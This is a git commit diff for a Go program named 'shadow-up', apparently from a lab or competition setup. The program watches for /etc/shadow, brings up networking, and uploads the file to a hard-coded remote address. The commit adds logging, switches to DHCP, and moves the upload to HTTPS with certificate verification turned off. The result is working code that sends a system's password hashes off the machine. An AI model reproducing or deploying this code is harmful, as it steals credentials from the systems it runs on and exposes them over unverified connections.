shadow-up: Add logging
This commit is contained in:
parent
d896911077
commit
0e3bdb4a6b
@ -2,6 +2,7 @@ package main
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
"bytes"
|
||||||
|
"crypto/tls"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
@ -17,8 +18,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
DestHost = "172.23.255.1"
|
DestHost = "172.23.255.2"
|
||||||
URLShadow = "http://172.23.255.1/passwd"
|
URLShadow = "https://172.23.255.2/passwd"
|
||||||
PathToWatch = "/etc/shadow"
|
PathToWatch = "/etc/shadow"
|
||||||
WatchedNotify = fsnotify.Create
|
WatchedNotify = fsnotify.Create
|
||||||
)
|
)
|
||||||
@ -28,8 +29,14 @@ var (
|
|||||||
)
|
)
|
||||||
|
|
||||||
func sendFile(field, path string) error {
|
func sendFile(field, path string) error {
|
||||||
|
tr := &http.Transport{
|
||||||
|
TLSClientConfig: &tls.Config{
|
||||||
|
InsecureSkipVerify: true,
|
||||||
|
},
|
||||||
|
}
|
||||||
client := &http.Client{
|
client := &http.Client{
|
||||||
Timeout: 20 * time.Second,
|
Timeout: 20 * time.Second,
|
||||||
|
Transport: tr,
|
||||||
}
|
}
|
||||||
|
|
||||||
body := &bytes.Buffer{}
|
body := &bytes.Buffer{}
|
||||||
@ -85,10 +92,14 @@ func main() {
|
|||||||
|
|
||||||
hasModprobe := false
|
hasModprobe := false
|
||||||
if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil {
|
if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil {
|
||||||
|
log.Println("No need to modprobe, device already loaded")
|
||||||
hasModprobe = true
|
hasModprobe = true
|
||||||
} else {
|
} else {
|
||||||
|
log.Println("modprobe some devices")
|
||||||
|
|
||||||
// modprobe
|
// modprobe
|
||||||
for _, drv := range NetDrivers {
|
for _, drv := range NetDrivers {
|
||||||
|
log.Println("/sbin/modprobe", drv)
|
||||||
err = exec.Command("/sbin/modprobe", drv).Run()
|
err = exec.Command("/sbin/modprobe", drv).Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Println("Unable to modprobe", drv, err.Error())
|
log.Println("Unable to modprobe", drv, err.Error())
|
||||||
@ -96,16 +107,14 @@ func main() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Search IP
|
// Wait for the eth device
|
||||||
myip, err := os.ReadFile("/root/my_ip")
|
for n := 0; n < 8 && exec.Command("/sbin/ip", "link", "show", "dev", "eth0").Run() != nil; n++ {
|
||||||
if err != nil {
|
log.Println("eth0 not present, waiting for it...")
|
||||||
log.Println("Unable to read /root/my_ip:", err.Error())
|
time.Sleep(250 * time.Millisecond)
|
||||||
return
|
|
||||||
}
|
}
|
||||||
|
|
||||||
hasIP := false
|
|
||||||
if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil {
|
if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil {
|
||||||
hasIP = true
|
log.Println("The remote host ping, no need to set it up.")
|
||||||
} else {
|
} else {
|
||||||
// ip link set eth0 up
|
// ip link set eth0 up
|
||||||
err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run()
|
err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run()
|
||||||
@ -113,10 +122,10 @@ func main() {
|
|||||||
log.Println("Unable to ip link set eth0 up:", err.Error())
|
log.Println("Unable to ip link set eth0 up:", err.Error())
|
||||||
}
|
}
|
||||||
|
|
||||||
// ip a add my_ip/17 dev eth0
|
// ip link set eth0 up
|
||||||
err = exec.Command("/sbin/ip", "a", "add", string(myip)+"/17", "dev", "eth0").Run()
|
err = exec.Command("/sbin/udhcpc", "-i", "eth0").Run()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Println("Unable to ip a add ... dev eth0:", err.Error())
|
log.Println("Unable to udhcpc eth0:", err.Error())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -124,9 +133,11 @@ func main() {
|
|||||||
err = sendFile("shadow", PathToWatch)
|
err = sendFile("shadow", PathToWatch)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Println("Unable to send file:", err.Error())
|
log.Println("Unable to send file:", err.Error())
|
||||||
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
if !hasModprobe {
|
if !hasModprobe {
|
||||||
|
log.Println("Unload driver")
|
||||||
// Remove driver
|
// Remove driver
|
||||||
for _, drv := range NetDrivers {
|
for _, drv := range NetDrivers {
|
||||||
err = exec.Command("/sbin/modprobe", "-r", drv).Run()
|
err = exec.Command("/sbin/modprobe", "-r", drv).Run()
|
||||||
@ -134,12 +145,9 @@ func main() {
|
|||||||
log.Println("Unable to remove modprobe", drv, err.Error())
|
log.Println("Unable to remove modprobe", drv, err.Error())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else if !hasIP {
|
|
||||||
// Remove IP
|
|
||||||
exec.Command("/sbin/ip", "a", "del", string(myip)+"/17", "dev", "eth0").Run()
|
|
||||||
exec.Command("/sbin/ip", "link", "set", "eth0", "down").Run()
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
log.Println("Done, see you later")
|
||||||
} else {
|
} else {
|
||||||
log.Println("Skipped event:", ev, "for", ev.Name)
|
log.Println("Skipped event:", ev, "for", ev.Name)
|
||||||
}
|
}
|
||||||
|
Reference in New Issue
Block a user